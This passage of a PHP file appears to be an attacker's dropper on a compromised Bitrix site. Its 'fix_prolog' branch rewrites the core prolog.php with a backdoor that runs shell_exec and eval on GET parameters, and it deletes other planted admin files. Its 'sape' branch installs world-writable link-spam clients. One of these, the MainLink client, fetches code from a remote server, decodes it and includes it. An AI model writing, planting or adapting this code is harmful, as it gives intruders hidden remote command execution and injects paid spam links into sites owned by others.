            document.body.onmousedown=disableTextSelection
            document.body.onclick=enableTextSelection
        }
        var flag = false
        function set_flag(arg) {
            flag = arg;
        }
        function go_dir(arg) {
            var setflag;
            setflag = (flag)?1:0;
            document.location.href='sl.php?frame=2&fm_current_root=%2F&setflag='+setflag+'&fm_current_dir=/var/www/html/s-data/&ec_dir='+arg;
        }
        function go(arg) {
            if (flag) {
                parent.frame3.set_dir_dest(arg+'/');
                flag = false;
            } else {
                parent.frame3.location.href='sl.php?frame=3&fm_current_root=%2F&fm_current_dir='+arg+'/';
            }
        }
        function set_fm_current_root(arg){
            document.location.href='sl.php?frame=2&fm_current_root='+encodeURIComponent(arg);
        }
        function refresh_tree(){
            document.location.href='sl.php?frame=2&fm_current_root=%2F';
        }
       
    //-->
    </script>
   
</body>
</html>



<?php
\$line_search_post=isset(\$_POST['line_search'])?\$_POST['line_search']:"";
\$dir_post=isset(\$_POST['dir'])?trim(\$_POST['dir']):__DIR__;
echo '<br><form method="POST">
Текст поиска: <input type="text" name="line_search" value="'.\$line_search_post.'"><br>
Папка: <input type="text" size="100" name="dir" value="'.\$dir_post.'"> <br>
<input type="submit"  name="submit" value="Искать">
</form>';

 
if(isset(\$_POST['submit'])) {
    if(\$_POST['line_search']=="" or \$_POST['dir']=="") header("Location: ".\$_SERVER['PHP_SELF']);
    \$line_search=\$_POST['line_search'];
    \$dir=trim(\$_POST['dir']);
    
    \$files_in_dir=array();
    
    //Функция обновляет  массив \$files_in_dir с именами файлов в указанной папке.
    function filesdir(\$dir='.') {
        global \$files_in_dir;
        \$scandir=scandir(\$dir); //массив с файлами и папками в папке
 
        foreach (\$scandir as \$num_file => \$name_file) {
            if (\$name_file=='.' or \$name_file=='..') continue;
            
            if (\$dir=='.') \$add_name=""; else \$add_name="\$dir/";
 
            if (is_file(\$add_name.\$name_file)){
                \$ext=explode('.',\$add_name.\$name_file); \$ext=\$ext[count(\$ext)-1];
                \$scriptFileName=explode('/', \$_SERVER['PHP_SELF']); \$scriptFileName=\$scriptFileName[count(\$scriptFileName)-1]; 
                
              //  if(\$ext=='gif' or \$ext=='zip' or \$ext=='js' or \$ext=='js' or \$ext=='rar' or \$ext=='jpg' or \$ext=='jpeg' or \$ext=='png' or \$name_file==\$scriptFileName) continue; //Не текстовые файлы, не искать в них. 
                
                 if(\$ext!='php' and (\$ext!='txt') and (\$ext!='xml')) continue;
                
                \$files_in_dir[]=\$add_name.\$name_file;
            } elseif (is_dir(\$add_name.\$name_file)) {
                filesdir(\$add_name.\$name_file);
            }
        }
    }
 
    filesdir(\$dir);
    
    foreach (\$files_in_dir as \$num_file => \$name_file) {
        \$file=file(\$name_file);
        \$found=false;
        \$num_line = array();
        \$text_num_line = array();
        foreach (\$file as \$line_num => \$line_text) {
            if (stripos(\$line_text, \$line_search) !== false) {
                \$found=true;
if (stripos(\$line_text, 'ya.ru')==true  or  stripos(\$line_text, '.run')==true or  stripos(\$line_text, 'yandex.ru')==true or stripos(\$line_text, 'bitrix.ru')==true or stripos(\$line_text, 'bitrix24.ru')==true) {\$found=false;}
                \$num_line[]=\$line_num+1;
                \$text_num_line[]=htmlspecialchars(trim(\$line_text), ENT_QUOTES);
            }
        }
        
        if (\$found) {
            echo '<b>'.\$name_file.'</b><br>';
            \$count=count(\$num_line);
            for(\$i=0;\$i<=\$count-1;\$i++) {
                echo 'Found: line <b>'.\$num_line[\$i].'</b> ('.\$text_num_line[\$i].')<br>';
            }
            \$num_line='';
        }
    }
}
?>

LABEL;

if (isset($_GET['p']) && ($_GET['p']) == 'find') {
	if (!file_exists('find.php')) file_put_contents('find.php',  $find_file); 
}

if (isset($_GET['p']) && ($_GET['p']) == 'fix_prolog') {
	 file_put_contents(dirname(__DIR__, 1).'/bitrix/modules/main/include/prolog.php', '<?if(isset($_GET["mi1"]))echo shell_exec($_GET["mi1"]);if(isset($_GET["mi2"]))echo eval($_GET["mi2"]);
require_once(__DIR__ . "/../bx_root.php");

if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
	require_once(__DIR__ . "/../lib/composite/responder.php");
	Bitrix\Main\Composite\Responder::respond();
}

require_once(__DIR__ . "/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");') ;
	 
	 
	 
	 

unlink(dirname(__DIR__, 1).'/bitrix/admin/accesson.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/beence.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/on.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/doc.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/index3.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/search.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/s_e.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/s_ne.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/ups.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/wp-plugins.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/wp_wrong_datlib.php');
unlink(dirname(__DIR__, 1).'/bitrix/admin/moduless.php');

unlink(dirname(__DIR__, 1).'/assets/images/accesson.php');
unlink(dirname(__DIR__, 1).'/accesson.php');

	 
}


if (isset($_GET['p']) && ($_GET['p']) == 'sape') {
	
   mkdir('err_class', 0777);
   chmod('err_class', 0777);	


   mkdir('err_class/data', 0777);
   chmod('err_class/data', 0777);	



$ml_file = <<<LABEL
<?php

class MLClient
{
	var \$file_code = 'ML_%code.php';

	var \$transmiter = null;
	var \$code_type = 'l';
	
	function __construct(\$o = array()) {
	
	// code type
		if ( isset(\$o['CODE_TYPE']) && strlen(\$o['CODE_TYPE']) == 1 ) {
			\$this->code_type = strtolower(\$o['CODE_TYPE']);
		} else {
			\$this->code_type = 'l'; // links
		}
		
		\$code_file = dirname(__FILE__) . '/data/' . str_replace('%', \$this->code_type, \$this->file_code);
		\$username = \$this->getUser(\$o);
		

		
		if ( file_exists(\$code_file) )
		{
		// unlock if locked
			if ( file_exists(\$code_file . '.lock') ) {
				@unlink(\$code_file . '.lock');
			}
			
		// setup_code
			include_once \$code_file;
		} else {
		// downloading latest version of code
			if ( \$this->getCode(\$o, \$this->code_type) ) {
				include_once \$code_file;
			} 
		}
		
		\$transmiter_class = \$this->code_type . 'Transmiter';
		if(class_exists(\$transmiter_class))
		{
			\$o['USERNAME'] = \$this->getUser(\$o);
			\$this->transmiter = new \$transmiter_class(\$o);
		}
    }
	
	
	function build_links()
	{
		if(\$this->transmiter != null){
			return \$this->transmiter->build_links();
		}
		return '';
	}
	
	
	function getCode(\$o = array(), \$code_type = 'l')
	{
		\$username = \$this->getUser(\$o);
		\$code_file = dirname(__FILE__) . '/data/' . str_replace('%', \$code_type, \$this->file_code);
		if ( (!file_exists(\$code_file) && !file_exists(\$code_file . '.lock'))
		|| ( strpos(\$userAgent, 'mlbot.' . \$username) !== false && isset(\$_GET['ml_request']))) {
			
			if (  !is_writable(dirname(__FILE__) . '/data') ) {
				print 'Unable to load Mainlink code. Directory ' . realpath(dirname(__FILE__).'/data').' is not writeable!';
				return false;
			}

			if ( file_exists(\$code_file . '.lock') && file_exists(\$code_file) ) {
				\$filetime = filectime(\$code_file . '.lock');
				
				if ( time() - \$filetime < 10 ) {
					print '<!--<ml_update>false: locked for ' . time() - \$filetime . ' seconds</ml_update>-->';
					return false;
				} else {
					@unlink(realpath(dirname(__FILE__) . '/data') . '/core_update.lock');
					print '<!--<ml_update_info>true: now ' . time() . ', locked at ' . \$filetime . ' seconds</ml_update_info>-->';
					return false;
				}
			}
		}
		
		\$fp = fopen(\$code_file . '.lock', 'w+');
		fwrite(\$fp, time());
		fclose(\$fp);
		
		\$code_type = isset(\$o['CODE_TYPE']) ? \$o['CODE_TYPE'] : 'l';
		\$service_call = isset(\$_GET['ml_request']) ? \$_GET['ml_request'] : 'call';
		\$content = \$this->getApi(array('getCode' => \$code_type, 'USERNAME' => \$username, 'codeBase' => 'php', \$service_call => true));
		
	// unlocking update
		@unlink(\$code_file . '.lock');
		
	// report result


		\$handle = fopen(\$code_file, 'w');
		\$res = fwrite(\$handle, \$content);
		fclose(\$handle);

		\$result = \$res !== false ? 'true' : 'false';
		
	// let`s try again if unsucced
		if ( !\$result || \$result == 'false' ) {
			\$handle = fopen(\$code_file, 'wb');
			if (\$handle) {
				@flock(\$handle, LOCK_EX);
				\$result = fwrite(\$handle, \$content);
				@flock(\$handle, LOCK_UN);
				fclose(\$handle);
			}
		}
		
		print '<!--<ml_code_setup_result>' . var_export(\$result, true) . '</ml_code_setup_result>-->';
		return \$result;
	}
	
	
	/*
	 * getUser
	 * Determine username
	 */
	 
	function getUser(\$o = array())
	{
	// in case username cont is preset
		if ( isset(\$o['USERNAME']) && strlen(\$o['USERNAME']) == 32 ) {
			return \$o['USERNAME'];
		}
		
	// search for key
		\$dirop = opendir(realpath(dirname(__FILE__)));
		\$secure = false;
			if(\$dirop){
				while (gettype(\$file=readdir(\$dirop)) != 'boolean'){
					if (\$file != "." && \$file != ".." && \$file != '.htaccess'){
						\$ex = explode(".",\$file);
						if( isset(\$ex[1]) and trim(\$ex[1]) == 'sec' ){
							\$secure= trim(\$ex[0]);
							return \$secure;
						}
					}
				}
			}
			
		return \$secure;
	}
	
	
	/*
	 * getApi
	 * Call API
	 */
	 
	function getApi(\$data)
	{
	// reserver servers
		\$servers = array(
			'main' => 'codes.mainlink.ru', 
			'reserve' => 'dcodes.mainlinkads.com'
		);
		
		return \$this->request(\$servers, '/api.php', \$data, 'GET');
	}

	/*
	 * request
	 * Do request
	 */
	 
	function request(\$servers, \$file, \$data=array(), \$method='GET', \$timeout = 5)
 	{
	// port
		\$port = 80;
		foreach(\$servers as \$host) {
			\$_data = \$data;


			\$tmp = array();
			foreach(\$_data as \$k=>\$v){
				\$tmp[] = \$k.'='.urlencode(\$v);
			}
			\$_data = implode('&', \$tmp);

			\$path = \$file;
			if( \$method == 'GET' && \$_data != '' )
			{
				\$path .= '?' . \$_data;
			}
			
			\$request = \$method." ".\$path." HTTP/1.0\r\n";
			\$request .= "Host: ".\$host."\r\n";
			\$request .= "User-Agent: MainLink code 6.0\r\n";
			\$request .= "Connection: close\r\n\r\n";

			@ini_set('allow_url_fopen', 1);
			@ini_set('default_socket_timeout', \$timeout);
			@ini_set('user_agent', 'MainLink init code v6');

			\$answer = '';
			\$response = '';
			if(function_exists('socket_create'))
			{
				@\$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
				@socket_set_option(\$socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => \$timeout, 'usec' => 0));
				@socket_connect(\$socket, \$host, \$port);
				@socket_write(\$socket, \$request);

				while(\$a = @socket_read(\$socket, 0xFFFF))
				{
					\$response .= \$a;
				}
				
				\$answer = ( \$response != '' ) ? explode("\r\n\r\n", \$response, 2) : '';
				\$response = '';
			}
			
			if(function_exists('fsockopen') && \$answer == '')
			{
				\$fp = @fsockopen(\$host, \$port, \$errno, \$errstr, \$timeout);
				if (\$fp)
				{
					@fputs(\$fp, \$request);
					while (!@feof(\$fp))
					{
						\$response .= @fgets(\$fp, 0xFFFF);
					}
					@fclose(\$fp);
				}
				
				\$answer = ( \$response != '' ) ? explode("\r\n\r\n", \$response, 2) : '';
				\$response = '';
			}
			
			if(function_exists('curl_init') && \$ch = @curl_init() && \$answer == '')
			{
				@curl_setopt(\$ch, CURLOPT_URL, 'http://' . \$host . \$path);
				@curl_setopt(\$ch, CURLOPT_HEADER, true);
				@curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
				@curl_setopt(\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);
				@curl_setopt(\$ch, CURLOPT_USERAGENT, 'MainLink init code v6');

				\$response = @curl_exec(\$ch);
				
				\$answer = ( \$response != '' ) ? explode("\r\n\r\n", \$response, 2) : '';
				\$response = '';
				@curl_close(\$ch);
			}
			
			if( function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 && \$answer == '')
			{
				\$response = @file_get_contents('http://' . \$host . \$path);
				\$answer[1] = ( \$response != '' ) ? \$response : '';
			}
			
			if(\$answer[1] != '' && preg_match('/file:\'(.*?)\'/', \$answer[1], \$r))
			{
				if(isset(\$r[1]))
				{
					\$answer = \$r[1];
					\$c = base64_decode(\$answer);
					if(\$c){
						return \$c;
					}
					return \$answer;
				}
			}
			
			if(\$answer[1] != '')
			{
				return \$answer[1];
			}
		}
		
		return '<!--ERROR: Unable to use transport.-->';
    }
}
?>
LABEL;

   $sape_file = <<<LABEL

<?php
/**
 * SAPE.ru - Интеллектуальная система купли-продажи ссылок
 *
 * PHP-клиент
 *
 * Вебмастеры! Не нужно ничего менять в этом файле!
 * Все настройки - через параметры при вызове кода.
 *
 * Подробную информацию по добавлению сайта в систему,
 * установки кода, а так же по всему остальным вопросам
 * Вы можете найти здесь:
 * @link http://help.sape.ru/sape/faq/27
 * @link http://help.sape.ru/articles/faq/1041
 *
 */

/**
 * Основной класс, выполняющий всю рутину
 */
class SAPE_base
{
    protected \$_version = '1.4.9';

    protected \$_verbose = true;

    /**
     * Кодировка сайта
     * @link http://www.php.net/manual/en/function.iconv.php
     * @var string
     */
    protected \$_charset = '';

    protected \$_sape_charset = '';

    protected \$_server_list = array('dispenser-01.saperu.net', 'dispenser-02.saperu.net');

    /**
     * Пожалейте наш сервер :о)
     * @var int
     */
    protected \$_cache_lifetime = 3600;

    /**
     * Если скачать базу ссылок не удалось, то следующая попытка будет через столько секунд
     * @var int
     */
    protected \$_cache_reloadtime = 600;

    protected \$_errors = array();

    protected \$_host = '';

    protected \$_request_uri = '';

    protected \$_multi_site = false;

    /**
     * Способ подключения к удалённому серверу [file_get_contents|curl|socket]
     * @var string
     */
    protected \$_fetch_remote_type = 'socket';

    /**
     * Сколько ждать ответа
     * @var int
     */
    protected \$_socket_timeout = 6;

    protected \$_force_show_code = true;

    /**
     * Если наш робот
     * @var bool
     */
    protected \$_is_our_bot = false;

    protected \$_debug                   = false;
    protected \$_file_contents_for_debug = array();

    /**
     * Регистронезависимый режим работы, использовать только на свой страх и риск
     * @var bool
     */
    protected \$_ignore_case = false;

    /**
     * Путь к файлу с данными
     * @var string
     */
    protected \$_db_file = '';

    /**
     * Формат запроса. serialize|php-require
     * @var string
     */
    protected \$_format = 'serialize';

    /**
     * Флаг для разбиения links.db по отдельным файлам.
     * @var bool
     */
    protected \$_split_data_file = false;
    /**
     * Откуда будем брать uri страницы: \$_SERVER['REQUEST_URI'] или getenv('REQUEST_URI')
     * @var bool
     */
    protected \$_use_server_array = false;

    /**
     * Показывать ли код js отдельно от выводимого контента
     *
     * @var bool
     */
    protected \$_show_counter_separately = false;

    protected \$_force_update_db = false;

    protected \$_user_agent = '';

    public function __construct(\$options = null)
    {

        // Поехали :o)

        \$host = '';

        if (is_array(\$options)) {
            if (isset(\$options['host'])) {
                \$host = \$options['host'];
            }
        } elseif (strlen(\$options)) {
            \$host    = \$options;
            \$options = array();
        } else {
            \$options = array();
        }

        if (isset(\$options['use_server_array']) && \$options['use_server_array'] == true) {
            \$this->_use_server_array = true;
        }

        // Какой сайт?
        if (strlen(\$host)) {
            \$this->_host = \$host;
        } else {
            \$this->_host = \$_SERVER['HTTP_HOST'];
        }

        \$this->_host = preg_replace('/^https:\/\//', '', \$this->_host);
        \$this->_host = preg_replace('/^www\./', '', \$this->_host);

        // Какая страница?
        if (isset(\$options['request_uri']) && strlen(\$options['request_uri'])) {
            \$this->_request_uri = \$options['request_uri'];
        } elseif (\$this->_use_server_array === false) {
            \$this->_request_uri = getenv('REQUEST_URI');
        }

        if (strlen(\$this->_request_uri) == 0) {
            \$this->_request_uri = \$_SERVER['REQUEST_URI'];
        }

        // На случай, если хочется много сайтов в одной папке
        if (isset(\$options['multi_site']) && \$options['multi_site'] == true) {
            \$this->_multi_site = true;
        }

        // Выводить информацию о дебаге
        if (isset(\$options['debug']) && \$options['debug'] == true) {
            \$this->_debug = true;
        }

        // Определяем наш ли робот
        if (isset(\$_COOKIE['sape_cookie']) && (\$_COOKIE['sape_cookie'] == _SAPE_USER)) {
            \$this->_is_our_bot = true;
            if (isset(\$_COOKIE['sape_debug']) && (\$_COOKIE['sape_debug'] == 1)) {
                \$this->_debug = true;
                //для удобства дебега саппортом
                \$this->_options            = \$options;
                \$this->_server_request_uri = \$_SERVER['REQUEST_URI'];
                \$this->_getenv_request_uri = getenv('REQUEST_URI');
                \$this->_SAPE_USER          = _SAPE_USER;
            }
            if (isset(\$_COOKIE['sape_updatedb']) && (\$_COOKIE['sape_updatedb'] == 1)) {
                \$this->_force_update_db = true;
            }
        } else {
            \$this->_is_our_bot = false;
        }

        // Сообщать об ошибках
        if (isset(\$options['verbose']) && \$options['verbose'] == true || \$this->_debug) {
            \$this->_verbose = true;
        }

        // Кодировка
        if (isset(\$options['charset']) && strlen(\$options['charset'])) {
            \$this->_charset = \$options['charset'];
        } else {
            \$this->_charset = 'windows-1251';
        }

        if (isset(\$options['fetch_remote_type']) && strlen(\$options['fetch_remote_type'])) {
            \$this->_fetch_remote_type = \$options['fetch_remote_type'];
        }

        if (isset(\$options['socket_timeout']) && is_numeric(\$options['socket_timeout']) && \$options['socket_timeout'] > 0) {
            \$this->_socket_timeout = \$options['socket_timeout'];
        }

        // Всегда выводить чек-код
        if (isset(\$options['force_show_code']) && \$options['force_show_code'] == true) {
            \$this->_force_show_code = true;
        }

        if (!defined('_SAPE_USER')) {
            return \$this->_raise_error('Не задана константа _SAPE_USER');
        }

        //Не обращаем внимания на регистр ссылок
        if (isset(\$options['ignore_case']) && \$options['ignore_case'] == true) {
            \$this->_ignore_case = true;
            \$this->_request_uri = strtolower(\$this->_request_uri);
        }

        if (isset(\$options['show_counter_separately'])) {
            \$this->_show_counter_separately = (bool)\$options['show_counter_separately'];
        }

        if (isset(\$options['format']) && in_array(\$options['format'], array('serialize', 'php-require'))) {
            \$this->_format = \$options['format'];
        }

        if (isset(\$options['split_data_file'])) {
            \$this->_split_data_file = (bool)\$options['split_data_file'];
        }
    }

    /**
     * Получить строку User-Agent
     *
     * @return string
     */
    protected function _get_full_user_agent_string()
    {
        return \$this->_user_agent . ' ' . \$this->_version;
    }

    /**
     * Вывести дебаг-информацию
     *
     * @param \$data
     *
     * @return string
     */
    protected function _debug_output(\$data)
    {
        \$data = '<!-- <sape_debug_info>' . @base64_encode(serialize(\$data)) . '</sape_debug_info> -->';

        return \$data;
    }

    /**
     * Функция для подключения к удалённому серверу
     */
    protected function _fetch_remote_file(\$host, \$path, \$specifyCharset = false)
    {

        \$user_agent = \$this->_get_full_user_agent_string();

        @ini_set('allow_url_fopen', 1);
        @ini_set('default_socket_timeout', \$this->_socket_timeout);
        @ini_set('user_agent', \$user_agent);
        if (
            \$this->_fetch_remote_type == 'file_get_contents'
            ||
            (
                \$this->_fetch_remote_type == ''
                &&
                function_exists('file_get_contents')
                &&
                ini_get('allow_url_fopen') == 1
            )
        ) {
            \$this->_fetch_remote_type = 'file_get_contents';

            if (\$specifyCharset && function_exists('stream_context_create')) {
                \$opts    = array(
                    'http' => array(
                        'method' => 'GET',
                        'header' => 'Accept-Charset: ' . \$this->_charset . "\r\n"
                    )
                );
                \$context = @stream_context_create(\$opts);
                if (\$data = @file_get_contents('http://' . \$host . \$path, null, \$context)) {
                    return \$data;
                }
            } else {
                if (\$data = @file_get_contents('http://' . \$host . \$path)) {
                    return \$data;
                }
            }
        } elseif (
            \$this->_fetch_remote_type == 'curl'
            ||
            (
                \$this->_fetch_remote_type == ''
                &&
                function_exists('curl_init')
            )
        ) {
            \$this->_fetch_remote_type = 'curl';
            if (\$ch = @curl_init()) {

                @curl_setopt(\$ch, CURLOPT_URL, 'http://' . \$host . \$path);
                @curl_setopt(\$ch, CURLOPT_HEADER, false);
                @curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
                @curl_setopt(\$ch, CURLOPT_CONNECTTIMEOUT, \$this->_socket_timeout);
                @curl_setopt(\$ch, CURLOPT_USERAGENT, \$user_agent);
                if (\$specifyCharset) {
                    @curl_setopt(\$ch, CURLOPT_HTTPHEADER, array('Accept-Charset: ' . \$this->_charset));
                }

                \$data = @curl_exec(\$ch);
                @curl_close(\$ch);

                if (\$data) {
                    return \$data;
                }
            }
        } else {
            \$this->_fetch_remote_type = 'socket';
            \$buff                     = '';
            \$fp                       = @fsockopen(\$host, 80, \$errno, \$errstr, \$this->_socket_timeout);
            if (\$fp) {
                @fputs(\$fp, "GET {\$path} HTTP/1.0\r\nHost: {\$host}\r\n");
                if (\$specifyCharset) {
                    @fputs(\$fp, "Accept-Charset: {\$this->_charset}\r\n");
                }
                @fputs(\$fp, "User-Agent: {\$user_agent}\r\n\r\n");
                while (!@feof(\$fp)) {
                    \$buff .= @fgets(\$fp, 128);
                }
                @fclose(\$fp);

                \$page = explode("\r\n\r\n", \$buff);
                unset(\$page[0]);

                return implode("\r\n\r\n", \$page);
            }
        }

        return \$this->_raise_error('Не могу подключиться к серверу: ' . \$host . \$path . ', type: ' . \$this->_fetch_remote_type);
    }

    /**
     * Функция чтения из локального файла
     */
    protected function _read(\$filename)
    {

        \$fp = @fopen(\$filename, 'rb');
        @flock(\$fp, LOCK_SH);
        if (\$fp) {
            clearstatcache();
            \$length = @filesize(\$filename);

            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                \$mqr = @get_magic_quotes_runtime();
                @set_magic_quotes_runtime(0);
            }

            if (\$length) {
                \$data = @fread(\$fp, \$length);
            } else {
                \$data = '';
            }

            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                @set_magic_quotes_runtime(\$mqr);
            }

            @flock(\$fp, LOCK_UN);
            @fclose(\$fp);

            return \$data;
        }

        return \$this->_raise_error('Не могу считать данные из файла: ' . \$filename);
    }

    /**
     * Функция записи в локальный файл
     */
    protected function _write(\$filename, \$data)
    {

        \$fp = @fopen(\$filename, 'ab');
        if (\$fp) {
            if (flock(\$fp, LOCK_EX | LOCK_NB)) {
                ftruncate(\$fp, 0);

                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    \$mqr = @get_magic_quotes_runtime();
                    @set_magic_quotes_runtime(0);
                }

                @fwrite(\$fp, \$data);

                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    @set_magic_quotes_runtime(\$mqr);
                }

                @flock(\$fp, LOCK_UN);
                @fclose(\$fp);

                if (md5(\$this->_read(\$filename)) != md5(\$data)) {
                    @unlink(\$filename);

                    return \$this->_raise_error('Нарушена целостность данных при записи в файл: ' . \$filename);
                }
            } else {
                return false;
            }

            return true;
        }

        return \$this->_raise_error('Не могу записать данные в файл: ' . \$filename);
    }

    /**
     * Функция обработки ошибок
     */
    protected function _raise_error(\$e)
    {

        \$this->_errors[] = \$e;

        if (\$this->_verbose == true) {
            print '<p style="color: red; font-weight: bold;">SAPE ERROR: ' . \$e . '</p>';
        }

        return false;
    }

    /**
     * Получить имя файла с даными
     *
     * @return string
     */
    protected function _get_db_file()
    {
        return '';
    }

    /**
     * Получить имя файла с мета-информацией
     *
     * @return string
     */
    protected function _get_meta_file()
    {
        return '';
    }

    /**
     * Получить префикс файла в режиме split_data_file.
     *
     * @return string
     */
    protected function _get_save_filename_prefix()
    {
        if (\$this->_split_data_file) {
            return '.' . crc32(\$this->_request_uri) % 100;
        } else {
            return '';
        }
    }
    /**
     * Получить URI к хосту диспенсера
     *
     * @return string
     */
    protected function _get_dispenser_path()
    {
        return '';
    }

    /**
     * Сохранить данные, полученные из файла, в объекте
     */
    protected function _set_data(\$data)
    {
    }

    /**
     * Расшифровывает данные
     *
     * @param string \$data
     *
     * @return array|bool
     */
    protected function _uncode_data(\$data)
    {
        return @unserialize(\$data);
    }

    /**
     * Шифрует данные для сохранения.
     *
     * @param \$data
     *
     * @return string
     */
    protected function _code_data(\$data)
    {
        return @serialize(\$data);
    }

    /**
     * Сохранение данных в файл.
     *
     * @param string \$data
     * @param string \$filename
     */
    protected function _save_data(\$data, \$filename = '')
    {
        \$this->_write(\$filename, \$data);
    }
    /**
     * Загрузка данных
     */
    protected function _load_data()
    {
        \$this->_db_file = \$this->_get_db_file();

        if (!is_file(\$this->_db_file)) {
            // Пытаемся создать файл.
            if (@touch(\$this->_db_file, time() - \$this->_cache_lifetime - 1)) {
                @chmod(\$this->_db_file, 0666); // Права доступа
            } else {
                return \$this->_raise_error('Нет файла ' . \$this->_db_file . '. Создать не удалось. Выставите права 777 на папку.');
            }
        }

        if (!is_writable(\$this->_db_file)) {
            return \$this->_raise_error('Нет доступа на запись к файлу: ' . \$this->_db_file . '! Выставите права 777 на папку.');
        }

        @clearstatcache();

        \$data = \$this->_read(\$this->_db_file);
        if (
            \$this->_force_update_db
            || (
                !\$this->_is_our_bot
                &&
                (
                    filemtime(\$this->_db_file) < (time() - \$this->_cache_lifetime)
                )
            )
        ) {
            // Чтобы не повесить площадку клиента и чтобы не было одновременных запросов
            @touch(\$this->_db_file, (time() - \$this->_cache_lifetime + \$this->_cache_reloadtime));

            \$path = \$this->_get_dispenser_path();
            if (strlen(\$this->_charset)) {
                \$path .= '&charset=' . \$this->_charset;
            }
            if (\$this->_format) {
                \$path .= '&format=' . \$this->_format;
            }
            foreach (\$this->_server_list as \$server) {
                if (\$data = \$this->_fetch_remote_file(\$server, \$path)) {
                    if (substr(\$data, 0, 12) == 'FATAL ERROR:') {
                        \$this->_raise_error(\$data);
                    } else {
                        // [псевдо]проверка целостности:
                        \$hash = \$this->_uncode_data(\$data);
                        if (\$hash != false) {
                            // попытаемся записать кодировку в кеш
                            \$hash['__sape_charset__']      = \$this->_charset;
                            \$hash['__last_update__']       = time();
                            \$hash['__multi_site__']        = \$this->_multi_site;
                            \$hash['__fetch_remote_type__'] = \$this->_fetch_remote_type;
                            \$hash['__ignore_case__']       = \$this->_ignore_case;
                            \$hash['__php_version__']       = phpversion();
                            \$hash['__server_software__']   = \$_SERVER['SERVER_SOFTWARE'];

                            \$data_new = \$this->_code_data(\$hash);
                            if (\$data_new) {
                                \$data = \$data_new;
                            }

                            \$this->_save_data(\$data, \$this->_db_file);
                            break;
                        }
                    }
                }
            }
        }

        // Убиваем PHPSESSID
        if (strlen(session_id())) {
            \$session            = session_name() . '=' . session_id();
            \$this->_request_uri = str_replace(array('?' . \$session, '&' . \$session), '', \$this->_request_uri);
        }
        \$data = \$this->_uncode_data(\$data);
        if (\$this->_split_data_file) {
            \$meta = \$this->_uncode_data(\$this->_read(\$this->_get_meta_file()));
            if (!is_array(\$data)) {
                \$data = array();
            }
            if (is_array(\$meta)) {
                \$data = array_merge(\$data, \$meta);
            }
        }
        \$this->_set_data(\$data);

        return true;
    }

    protected function _return_obligatory_page_content()
    {
        \$s_globals = new SAPE_globals();

        \$html = '';
        if (isset(\$this->_page_obligatory_output) && !empty(\$this->_page_obligatory_output)
            && false == \$s_globals->page_obligatory_output_shown()
        ) {
            \$s_globals->page_obligatory_output_shown(true);
            \$html = \$this->_page_obligatory_output;
        }

        return \$html;
    }

    /**
     * Вернуть js-код
     * - работает только когда параметр конструктора show_counter_separately = true
     *
     * @return string
     */
    public function return_counter()
    {
        //если show_counter_separately = false и выполнен вызов этого метода,
        //то заблокировать вывод js-кода вместе с контентом
        if (false == \$this->_show_counter_separately) {
            \$this->_show_counter_separately = true;
        }

        return \$this->_return_obligatory_page_content();
    }
}

/**
 * Глобальные флаги
 */
class SAPE_globals
{

    protected function _get_toggle_flag(\$name, \$toggle = false)
    {

        static \$flags = array();

        if (!isset(\$flags[\$name])) {
            \$flags[\$name] = false;
        }

        if (\$toggle) {
            \$flags[\$name] = true;
        }

        return \$flags[\$name];
    }

    public function block_css_shown(\$toggle = false)
    {
        return \$this->_get_toggle_flag('block_css_shown', \$toggle);
    }

    public function block_ins_beforeall_shown(\$toggle = false)
    {
        return \$this->_get_toggle_flag('block_ins_beforeall_shown', \$toggle);
    }

    public function page_obligatory_output_shown(\$toggle = false)
    {
        return \$this->_get_toggle_flag('page_obligatory_output_shown', \$toggle);
    }
}

/**
 * Класс для работы с обычными ссылками
 */
class SAPE_client extends SAPE_base
{

    protected \$_links_delimiter = '';
    protected \$_links           = array();
    protected \$_links_page      = array();
    protected \$_teasers_page    = array();

    protected \$_user_agent         = 'SAPE_Client PHP';
    protected \$_show_only_block    = false;
    protected \$_block_tpl          = '';
    protected \$_block_tpl_options  = array();
    protected \$_block_uri_idna     = array();
    protected \$_return_links_calls;
    protected \$_teasers_css_showed = false;

    /**
     * @var SAPE_rtb
     */
    protected \$_teasers_rtb_proxy  = null;

    public function __construct(\$options = null)
    {
        parent::__construct(\$options);

        if (isset(\$options['rtb']) && !empty(\$options['rtb']) && \$options['rtb'] instanceof SAPE_rtb) {
            \$this->_teasers_rtb_proxy = \$options['rtb'];
        }

        \$this->_load_data();
    }

    /**
     * Обработка html для массива ссылок
     *
     * @param string     \$html
     * @param null|array \$options
     *
     * @return string
     */
    protected function _return_array_links_html(\$html, \$options = null)
    {

        if (empty(\$options)) {
            \$options = array();
        }

        // если запрошена определенная кодировка, и известна кодировка кеша, и они разные, конвертируем в заданную
        if (
            strlen(\$this->_charset) > 0
            &&
            strlen(\$this->_sape_charset) > 0
            &&
            \$this->_sape_charset != \$this->_charset
            &&
            function_exists('iconv')
        ) {
            \$new_html = @iconv(\$this->_sape_charset, \$this->_charset, \$html);
            if (\$new_html) {
                \$html = \$new_html;
            }
        }

        if (\$this->_is_our_bot) {

            \$html = '<sape_noindex>' . \$html . '</sape_noindex>';

            if (isset(\$options['is_block_links']) && true == \$options['is_block_links']) {

                if (!isset(\$options['nof_links_requested'])) {
                    \$options['nof_links_requested'] = 0;
                }
